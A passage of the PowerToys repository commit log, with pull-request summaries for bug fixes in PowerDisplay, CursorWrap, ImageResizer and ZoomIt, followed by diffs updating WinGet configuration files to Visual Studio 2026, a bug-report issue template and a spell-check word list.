improving code clarity.
[[1]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR918-R936)
[[2]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dL871)
[[3]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dL884)
2026-02-06 08:25:10 -08:00
Shawn Yuan
1fc0dfc28d [PowerDisplay] Prevent from WinuiEx crash (#45449)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request updates how the `IsShownInSwitchers` property is set
for the PowerDisplay windows, moving from XAML-based configuration to
explicit runtime setting in the code-behind. This improves compatibility
and error handling, especially in scenarios where the property may not
be supported or could throw exceptions.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-06 22:50:23 +08:00
Shawn Yuan
ab47d54463 Fix WinuiEx crash issue (#45443)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a crash related to `IsShownInSwitchers` when explorer.exe is not
running. The property has been removed from XAML and is now set in the
C# backend with added exception handling to improve stability. No
changes were made for projects where the property is set to true, as
they are not affected.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-06 16:58:29 +08:00
Jiří Polášek
753689309e CmdPal: Fix alias UI clearing when toggling Direct/Indirect combobox (#45381)
## Summary of the Pull Request

This PR fixes the settings UI for the top-level command alias.



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist


https://github.com/user-attachments/assets/0d1e1392-0293-4482-97cb-e8e8c0ed0dd5


- [x] Closes: #41301
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-05 16:47:45 -06:00
Thanh Nguyen
2be4c4eb46 Fix CursorWrap "Automatically activate on utility startup" setting not persisting (#45210)
## Summary of the Pull Request

Fixes #45185 - CursorWrap "Automatically activate on utility startup"
setting cannot be disabled, and prevents spurious activation on startup.

## PR Checklist

- [x] Closes: #45185
- [x] **Communication:** Issue was reported by community; fix follows
established patterns from MousePointerCrosshairs
- [x] **Tests:** Manual validation performed by contributor (video
available)
- [x] **Localization:** No new user-facing strings added
- [ ] **Dev docs:** N/A - bug fix only
- [ ] **New binaries:** N/A - no new binaries
- [ ] **Documentation updated:** N/A - bug fix only

## Detailed Description of the Pull Request / Additional comments

### Problem

Users reported that disabling the "Automatically activate on utility
startup" setting for CursorWrap does not work - the mouse hook always
starts automatically regardless of the setting value.

### Root Causes

1. **`dllmain.cpp` `enable()` method**: `StartMouseHook()` was always
called unconditionally, ignoring `m_autoActivate`.
2. **`MouseUtilsViewModel.cs` `IsCursorWrapEnabled` setter**: enabling
CursorWrap forced `AutoActivate = true`, overriding the user's
preference.
3. **Startup edge case**: the trigger event could remain signaled from a
previous session, immediately toggling CursorWrap on startup even when
AutoActivate is off.

### Solution

1. **`src/modules/MouseUtils/CursorWrap/dllmain.cpp`**: only start the
mouse hook if `m_autoActivate` is true.
2. **`src/settings-ui/Settings.UI/ViewModels/MouseUtilsViewModel.cs`**:
remove the line that forced `AutoActivate = true` when enabling
CursorWrap.
3. **`src/modules/MouseUtils/CursorWrap/dllmain.cpp`**: reset the
trigger event on enable to avoid immediate activation on startup.

### Pattern Reference

This fix follows the same pattern used by **MousePointerCrosshairs**
module which has a similar `AutoActivate` setting that works correctly.

## Validation Steps Performed

### Build

- `tools\build\build.ps1 -Platform x64 -Configuration Debug`

### Manual validation (contributor)

#### Test Case 1: AutoActivate = false (should NOT auto-start mouse
hook)

1. Open PowerToys Settings → Mouse Utilities → Cursor Wrap
2. Enable Cursor Wrap
3. **Disable** "Automatically activate on utility startup"
4. Close PowerToys completely (right-click tray icon → Exit)
5. Restart PowerToys
6. **Expected Result**: CursorWrap module is loaded but mouse hook is
NOT active - cursor does NOT wrap at screen edges
7. Press activation hotkey (default: `Win+Alt+U`)
8. **Expected Result**: Mouse hook activates, cursor now wraps at screen
edges
9. **Actual Result**:  Works as expected

#### Test Case 2: AutoActivate = true (should auto-start mouse hook)

1. Open PowerToys Settings → Mouse Utilities → Cursor Wrap
2. Enable Cursor Wrap
3. **Enable** "Automatically activate on utility startup"
4. Close PowerToys completely
5. Restart PowerToys
6. **Expected Result**: Mouse hook is immediately active, cursor wraps
at screen edges without pressing hotkey
7. **Actual Result**:  Works as expected

#### Test Case 3: Setting persistence after restart

1. Set AutoActivate = false, restart PowerToys
2. Open Settings and verify AutoActivate is still false
3. Set AutoActivate = true, restart PowerToys
4. Open Settings and verify AutoActivate is still true
5. **Actual Result**:  Setting persists correctly

#### Test Case 4: Hotkey toggle works correctly

1. With AutoActivate = false, restart PowerToys
2. Press hotkey → cursor should start wrapping
3. Press hotkey again → cursor should stop wrapping
4. **Actual Result**:  Hotkey toggle works correctly

---

**Note**: Video demonstration available from contributor.
2026-02-05 19:58:49 +08:00
Mike Hall
731532fdd8 Add option to disable CursorWrap when on a single monitor. (#45303)
## Summary of the Pull Request
CursorWrap wraps on the outer edge of monitors, if a user is swapping
between a laptop and docked laptop with external monitors the user might
want to only enable wrapping when connected to external monitors, and
disable when only on the laptop.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45198
- [ ] Closes: #45154
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
Currently CursorWrap will wrap around the horizontal/vertical edges of
monitors, if the user has more than one monitor the outer edges are used
as wrap targets, if the user only has one monitor (perhaps a laptop)
wrapping might be temporarily disabled until additional external
monitors are added (such as being plugged into a dock or using a USB-C
monitor).

The new option will disable wrapping if only a single monitor is
detected, monitor detection is dynamic.

## Validation Steps Performed
Validated on a Surface Laptop 7 Pro (Intel) with a USB-C External
Monitor.

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-05 18:37:10 +08:00
Shawn Yuan
bde2055f26 Fix pipeline build issue when using wasdk 2.0 exp (#45390)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request updates project configuration for two modules by
changing how the Windows App SDK is included. Specifically, it switches
both modules from using a self-contained Windows App SDK deployment to a
framework-dependent deployment. This means the applications will now
rely on the system-installed Windows App SDK rather than bundling it
with the app.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-05 17:04:24 +08:00
moooyo
3336c134dd [PowerDisplay] Add custom vcp code name map and fix some bugs (#45355)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
1. Fix quick access not working bug
2. Add custom value mapping
3. Fix some vcp slider visibility bug

demo for custom vcp value name mapping:
<img width="1399" height="744" alt="image"
src="https://github.com/user-attachments/assets/517e4dbb-409a-4e43-b15a-d0d31e59ce49"
/>
<img width="1379" height="337" alt="image"
src="https://github.com/user-attachments/assets/18f6f389-089c-4441-ad9f-5c45cac53814"
/>
<img width="521" height="1152" alt="image"
src="https://github.com/user-attachments/assets/27b5f796-66fa-4781-b16f-4770bebf3504"
/>
<img width="295" height="808" alt="image"
src="https://github.com/user-attachments/assets/54eaf5b9-5d54-4531-a40b-de3113122715"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng <yuleng@microsoft.com>
2026-02-05 17:02:55 +08:00
Kai Tao
4c0926d7b7 Doc: Add a dev guideline to make sure codes builds and verified before open a pr (#45419)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Making sure the codes builds and verified before submitting a pr.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-05 16:12:58 +08:00
Shawn Yuan
d9a1c35132 Fix Advanced Paste settings page crash issue (#45207)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request refactors the `AdvancedPasteAdditionalActions` class
to use private backing fields and custom property accessors for its
action properties. This change allows for better control over property
initialization and ensures that the properties always have valid,
non-null default values.

**Refactoring for property initialization and null safety:**

* Introduced private backing fields (`_imageToText`, `_pasteAsFile`,
`_transcode`) for the `ImageToText`, `PasteAsFile`, and `Transcode`
properties in `AdvancedPasteAdditionalActions`, replacing
auto-properties.
* Updated the property accessors for `ImageToText`, `PasteAsFile`, and
`Transcode` to use the new backing fields and ensure that a new default
instance is assigned if a null value is provided during initialization.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45189
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-05 10:35:59 +08:00
Niels Laute
0259e31d20 Fix contrast issue (#45367)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [X] Closes: #42261
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-05 09:17:13 +08:00
leileizhang
266908c62a [ImageResizer] Fix Image Resizer not working after upgrade on Windows 10 (#45184)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- Fixes an issue where Image Resizer stops working after upgrading
PowerToys on Windows 10
- Root cause: the PackageIdentityMSIX (sparse app) was not being
properly cleaned up during upgrade

## Problem
Previous versions of PowerToys installed the sparse app on Windows 10.
The current version only installs it on Windows 11+ (build >= 22000).
During upgrade on Windows 10:
1. The `NOT UPGRADINGPRODUCTCODE` condition prevented the uninstall
action from running
2. The Windows 11 version check prevented the new sparse app from being
installed
3. Result: the old sparse app remained on the system, causing Image
Resizer to malfunction

## Fix
Changed the `UninstallPackageIdentityMSIX` condition from:
Installed AND (NOT UPGRADINGPRODUCTCODE) AND (REMOVE="ALL")
to:
Installed AND (REMOVE="ALL")

This ensures the old sparse app is properly cleaned up during upgrades,
which is also consistent with other similar cleanup

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45178 #45280
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. Install PowerToys version 0.96.1 on Windows 10.
2. Upgrade to version 0.97.1.
3. Run Get-AppxPackage -Name "*Sparse*" in PowerShell to check whether a
Sparse App package is present.
2026-02-05 09:03:48 +08:00
Alex Mihaiuc
6f87e947ff ZoomIt: close the virtual microphone on stop (#45386)
This is not a leak per se, but closing the virtual microphone when
recording stops is a good thing to do.
Also bump ZoomIt's version to 10.1.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This is a code quality addition, not a real bug per se - ZoomIt holds
one reference to a virtual microphone stream, thus causing the
notification area (system tray) microphone symbol always show ZoomIt as
"recording" even after stopping a screen recording in ZoomIt.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

It's sufficient to just notice that:

- Audio recording still works.
- The notification area / system tray microphone notification is active
while screen recording.
- That notification disappears after stopping the ZoomIt screen capture
session.
- 
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-05 09:01:10 +08:00
2011 changed files with 103394 additions and 47381 deletions

View File

@@ -1,5 +1,5 @@
# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2
# Reference: https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md#compiling-powertoys
# Reference: https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md#getting-started
properties:
resources:
- resource: Microsoft.Windows.Settings/WindowsSettings
@@ -13,11 +13,11 @@ properties:
- resource: Microsoft.WinGet.DSC/WinGetPackage
id: vsPackage
directives:
description: Install Visual Studio 2022 Enterprise (Any edition will work)
description: Install Visual Studio 2026 Enterprise (Any edition will work)
# Requires elevation for the set operation
securityContext: elevated
settings:
id: Microsoft.VisualStudio.2022.Enterprise
id: Microsoft.VisualStudio.Enterprise
source: winget
- resource: Microsoft.VisualStudio.DSC/VSComponents
dependsOn:
@@ -29,7 +29,7 @@ properties:
securityContext: elevated
settings:
productId: Microsoft.VisualStudio.Product.Enterprise
channelId: VisualStudio.17.Release
channelId: VisualStudio.18.Release
vsConfigFile: '${WinGetConfigRoot}\..\.vsconfig'
configurationVersion: 0.2.0

View File

@@ -1,5 +1,5 @@
# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2
# Reference: https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md#compiling-powertoys
# Reference: https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md#getting-started
properties:
resources:
- resource: Microsoft.Windows.Settings/WindowsSettings
@@ -13,11 +13,11 @@ properties:
- resource: Microsoft.WinGet.DSC/WinGetPackage
id: vsPackage
directives:
description: Install Visual Studio 2022 Professional (Any edition will work)
description: Install Visual Studio 2026 Professional (Any edition will work)
# Requires elevation for the set operation
securityContext: elevated
settings:
id: Microsoft.VisualStudio.2022.Professional
id: Microsoft.VisualStudio.Professional
source: winget
- resource: Microsoft.VisualStudio.DSC/VSComponents
dependsOn:
@@ -29,7 +29,7 @@ properties:
securityContext: elevated
settings:
productId: Microsoft.VisualStudio.Product.Professional
channelId: VisualStudio.17.Release
channelId: VisualStudio.18.Release
vsConfigFile: '${WinGetConfigRoot}\..\.vsconfig'
configurationVersion: 0.2.0

View File

@@ -1,5 +1,5 @@
# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2
# Reference: https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md#compiling-powertoys
# Reference: https://github.com/microsoft/PowerToys/blob/main/doc/devdocs/readme.md#getting-started
properties:
resources:
- resource: Microsoft.Windows.Settings/WindowsSettings
@@ -13,11 +13,11 @@ properties:
- resource: Microsoft.WinGet.DSC/WinGetPackage
id: vsPackage
directives:
description: Install Visual Studio 2022 Community (Any edition will work)
description: Install Visual Studio 2026 Community (Any edition will work)
# Requires elevation for the set operation
securityContext: elevated
settings:
id: Microsoft.VisualStudio.2022.Community
id: Microsoft.VisualStudio.Community
source: winget
- resource: Microsoft.VisualStudio.DSC/VSComponents
dependsOn:
@@ -29,7 +29,7 @@ properties:
securityContext: elevated
settings:
productId: Microsoft.VisualStudio.Product.Community
channelId: VisualStudio.17.Release
channelId: VisualStudio.18.Release
vsConfigFile: '${WinGetConfigRoot}\..\.vsconfig'
configurationVersion: 0.2.0

View File

@@ -40,7 +40,6 @@ body:
- Other (please specify in "Steps to Reproduce")
validations:
required: true
- type: dropdown
attributes:
label: Area(s) with issue?
@@ -58,6 +57,7 @@ body:
- Environment Variables
- FancyZones
- FancyZones Editor
- Grab And Move
- File Locksmith
- "File Explorer: Preview Pane"
- "File Explorer: Thumbnail preview"
@@ -70,6 +70,7 @@ body:
- Mouse Without Borders
- New+
- Peek
- Power Display
- PowerRename
- PowerToys Run
- Quick Accent
@@ -106,7 +107,13 @@ body:
placeholder: What happened instead?
validations:
required: false
- type: upload
id: bugreportfile
attributes:
label: Upload Bug Report ZIP-file
description: Right-clicking the PowerToys tray icon in the taskbar and selecting “Report bug” generates a ZIP file containing diagnostic information about your setup and PowerToys logs, helping us better understand and troubleshoot the issue.
validations:
required: false
- id: additionalInfo
type: textarea
attributes:

View File

@@ -1,6 +1,7 @@
# COLORS
argb
Bgr
bgra
BLACKONWHITE
BLUEGRAY
@@ -18,6 +19,7 @@ OLIVEGREEN
PALEBLUE
PArgb
Pbgra
SRGBTo
WHITEONBLACK
@@ -28,6 +30,7 @@ RUS
AYUV
bak
HDP
Bcl
bgcode
Deflatealgorithm
@@ -38,6 +41,7 @@ Gbps
gcode
Heatshrink
Mbits
Kbits
MBs
mkv
msix
@@ -97,6 +101,7 @@ Yubico
Perplexity
Groq
svgl
devhome
# KEYS
@@ -122,6 +127,7 @@ HOLDSPACE
HOLDBACKSPACE
IDIGNORE
KBDLLHOOKSTRUCT
keydowns
keyevent
LAlt
LBUTTON
@@ -295,6 +301,8 @@ pwa
AOT
Aot
ify
TFM
# YML
onefuzz
@@ -313,6 +321,7 @@ xef
xes
PACKAGEVERSIONNUMBER
APPXMANIFESTVERSION
PROGMAN
# MRU lists
CACHEWRITE
@@ -321,7 +330,45 @@ MRUINFO
REGSTR
# Misc Win32 APIs and PInvokes
DEFAULTTONEAREST
INVOKEIDLIST
LCMAP
MEMORYSTATUSEX
ABE
Mdt
HTCAPTION
POSCHANGED
QPC
QUERYPOS
SETAUTOHIDEBAR
ULW
WINDOWPOS
WINEVENTPROC
WORKERW
FULLSCREENAPP
# COM/WinRT interface prefixes and type fragments
BAlt
BShift
Cmanifest
Cmodule
Cuuid
Dng
IApplication
IDisposable
IEnum
IFolder
IInitialize
IMemory
IOle
ipreview
IProperty
IShell
ithumbnail
IVirtual
# Test frameworks
MSTEST
